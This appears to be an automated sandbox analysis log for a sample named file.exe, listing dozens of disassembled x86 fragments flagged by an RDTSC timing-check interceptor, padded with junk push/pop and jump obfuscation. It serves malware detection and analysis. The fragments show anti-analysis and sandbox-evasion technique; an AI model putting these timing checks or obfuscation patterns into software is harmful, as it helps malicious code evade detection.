Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA616A second address: EA6178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jg 00007F5408F96888h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD107 second address: EAD10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD10B second address: EAD127 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96898h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD283 second address: EAD2A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21110h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F5408C21106h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD34F second address: EAD355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD355 second address: EAD359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD359 second address: CD1748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 7142393Eh 0x0000000f pushad 0x00000010 sbb edx, 1CDA0288h 0x00000016 jg 00007F5408F96889h 0x0000001c popad 0x0000001d push dword ptr [ebp+122D128Dh] 0x00000023 pushad 0x00000024 jmp 00007F5408F96893h 0x00000029 popad 0x0000002a call dword ptr [ebp+122D1BA5h] 0x00000030 pushad 0x00000031 jmp 00007F5408F96893h 0x00000036 xor eax, eax 0x00000038 jg 00007F5408F96892h 0x0000003e jg 00007F5408F9688Ch 0x00000044 sub dword ptr [ebp+122D1DCCh], edi 0x0000004a mov edx, dword ptr [esp+28h] 0x0000004e cld 0x0000004f mov dword ptr [ebp+122D3438h], eax 0x00000055 cmc 0x00000056 mov esi, 0000003Ch 0x0000005b cld 0x0000005c jmp 00007F5408F96896h 0x00000061 add esi, dword ptr [esp+24h] 0x00000065 or dword ptr [ebp+122D1DCCh], edi 0x0000006b lodsw 0x0000006d mov dword ptr [ebp+122D1AC8h], ecx 0x00000073 jo 00007F5408F96887h 0x00000079 stc 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e sub dword ptr [ebp+122D1AC8h], esi 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 jnc 00007F5408F96892h 0x0000008e jno 00007F5408F9688Ch 0x00000094 nop 0x00000095 push eax 0x00000096 push eax 0x00000097 push edx 0x00000098 push eax 0x00000099 push edx 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1FC4 second address: EB1FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5408C2110Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1FD4 second address: EB1FDD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1619 second address: EB163A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21116h 0x00000007 push ebx 0x00000008 jne 00007F5408C21106h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB163A second address: EB1655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5408F96892h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1655 second address: EB1672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5408C21119h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1795 second address: EB17C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jng 00007F5408F96892h 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5408F96894h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB17C7 second address: EB17CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB17CB second address: EB17D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB17D1 second address: EB17DD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5408C2110Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88977 second address: E8897B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8897B second address: E8897F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8897F second address: CD1748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 jnl 00007F5408F9688Ch 0x0000000f pop esi 0x00000010 nop 0x00000011 sub dword ptr [ebp+122D18A6h], eax 0x00000017 push dword ptr [ebp+122D128Dh] 0x0000001d jmp 00007F5408F96894h 0x00000022 call dword ptr [ebp+122D1BA5h] 0x00000028 pushad 0x00000029 jmp 00007F5408F96893h 0x0000002e xor eax, eax 0x00000030 jg 00007F5408F96892h 0x00000036 jg 00007F5408F9688Ch 0x0000003c sub dword ptr [ebp+122D1DCCh], edi 0x00000042 mov edx, dword ptr [esp+28h] 0x00000046 cld 0x00000047 mov dword ptr [ebp+122D3438h], eax 0x0000004d cmc 0x0000004e mov esi, 0000003Ch 0x00000053 cld 0x00000054 jmp 00007F5408F96896h 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d or dword ptr [ebp+122D1DCCh], edi 0x00000063 lodsw 0x00000065 mov dword ptr [ebp+122D1AC8h], ecx 0x0000006b jo 00007F5408F96887h 0x00000071 stc 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 sub dword ptr [ebp+122D1AC8h], esi 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 jnc 00007F5408F96892h 0x00000086 nop 0x00000087 push eax 0x00000088 push eax 0x00000089 push edx 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88A6C second address: E88A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88AD9 second address: E88ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88ADD second address: E88AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88AE1 second address: E88AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88BAD second address: E88BB7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5408C2110Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88BB7 second address: E88BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, esi 0x00000007 nop 0x00000008 jne 00007F5408F96892h 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88BD7 second address: E88BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88BDB second address: E88BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88C97 second address: E88CA1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88CA1 second address: E88CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88CA5 second address: E88CCA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5408C21106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5408C21117h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88CCA second address: E88CCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88CCF second address: E88D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408C21116h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 push edi 0x00000012 jmp 00007F5408C2110Bh 0x00000017 pop edi 0x00000018 pop esi 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jg 00007F5408C21106h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88F10 second address: E88F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F5408F96899h 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F5408F96896h 0x00000013 nop 0x00000014 jno 00007F5408F9688Ch 0x0000001a push 00000004h 0x0000001c mov edi, dword ptr [ebp+122D1B69h] 0x00000022 push eax 0x00000023 jbe 00007F5408F96890h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89308 second address: E89357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F5408C21108h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 call 00007F5408C2110Fh 0x0000002b pop ecx 0x0000002c push 0000001Eh 0x0000002e mov dword ptr [ebp+122D2A3Fh], ecx 0x00000034 nop 0x00000035 push eax 0x00000036 push edx 0x00000037 jl 00007F5408C21108h 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89457 second address: E8945B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8945B second address: E89461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89461 second address: E89475 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 ja 00007F5408F96886h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89475 second address: E89479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E688BF second address: E688D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E403E4 second address: E403EE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5408C21106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE6A5 second address: EBE6E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F5408F96898h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5408F96897h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE6E3 second address: EBE6E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEC0B second address: EBEC26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96894h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF004 second address: EBF013 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007F5408C21106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF013 second address: EBF022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 jc 00007F5408F9688Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF022 second address: EBF03D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F5408C21115h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF4AE second address: EBF4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF4B9 second address: EBF4D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Dh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F5408C2110Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC505F second address: EC507D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408F96899h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC507D second address: EC50A9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5408C2111Dh 0x00000008 push edx 0x00000009 jmp 00007F5408C2110Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3CFA second address: EC3D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3FA2 second address: EC3FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4285 second address: EC428A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC43C6 second address: EC43CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC43CB second address: EC43D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4532 second address: EC4542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 push edx 0x00000008 ja 00007F5408C21106h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC47C4 second address: EC47C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC47C8 second address: EC47CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC47CE second address: EC47F9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5408F9688Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jno 00007F5408F96892h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F5408F96886h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC47F9 second address: EC4803 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5408C21106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4963 second address: EC4985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5408F9688Bh 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4985 second address: EC49A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F5408C21106h 0x0000000e jp 00007F5408C21106h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jl 00007F5408C21112h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC49A4 second address: EC49AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4F10 second address: EC4F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC38A7 second address: EC38B8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5408F9688Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC38B8 second address: EC38DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408C2110Ch 0x00000009 push esi 0x0000000a pop esi 0x0000000b jbe 00007F5408C21106h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jne 00007F5408C21106h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC38DF second address: EC38F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5408F96891h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC38F9 second address: EC38FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAF72 second address: ECAF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAF78 second address: ECAF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE0AB second address: ECE0B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE0B3 second address: ECE0B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE0B7 second address: ECE0BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE0BB second address: ECE0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE0C7 second address: ECE0ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F5408F968A3h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDD6F second address: ECDD75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDD75 second address: ECDD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDD79 second address: ECDD7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2149 second address: ED2151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1A96 second address: ED1A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1A9D second address: ED1ACD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5408F9689Bh 0x00000008 jmp 00007F5408F96895h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5408F9688Fh 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1DEA second address: ED1DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5408C21106h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1DF8 second address: ED1E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5408F96886h 0x0000000a jmp 00007F5408F96892h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1E16 second address: ED1E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5408C21119h 0x0000000b jmp 00007F5408C2110Fh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED678D second address: ED6791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6791 second address: ED67BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop edi 0x0000000b pushad 0x0000000c pushad 0x0000000d jno 00007F5408C21106h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F5408C2110Bh 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jl 00007F5408C21106h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED67BA second address: ED67BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED67BE second address: ED67DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408C21116h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E890F3 second address: E890F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
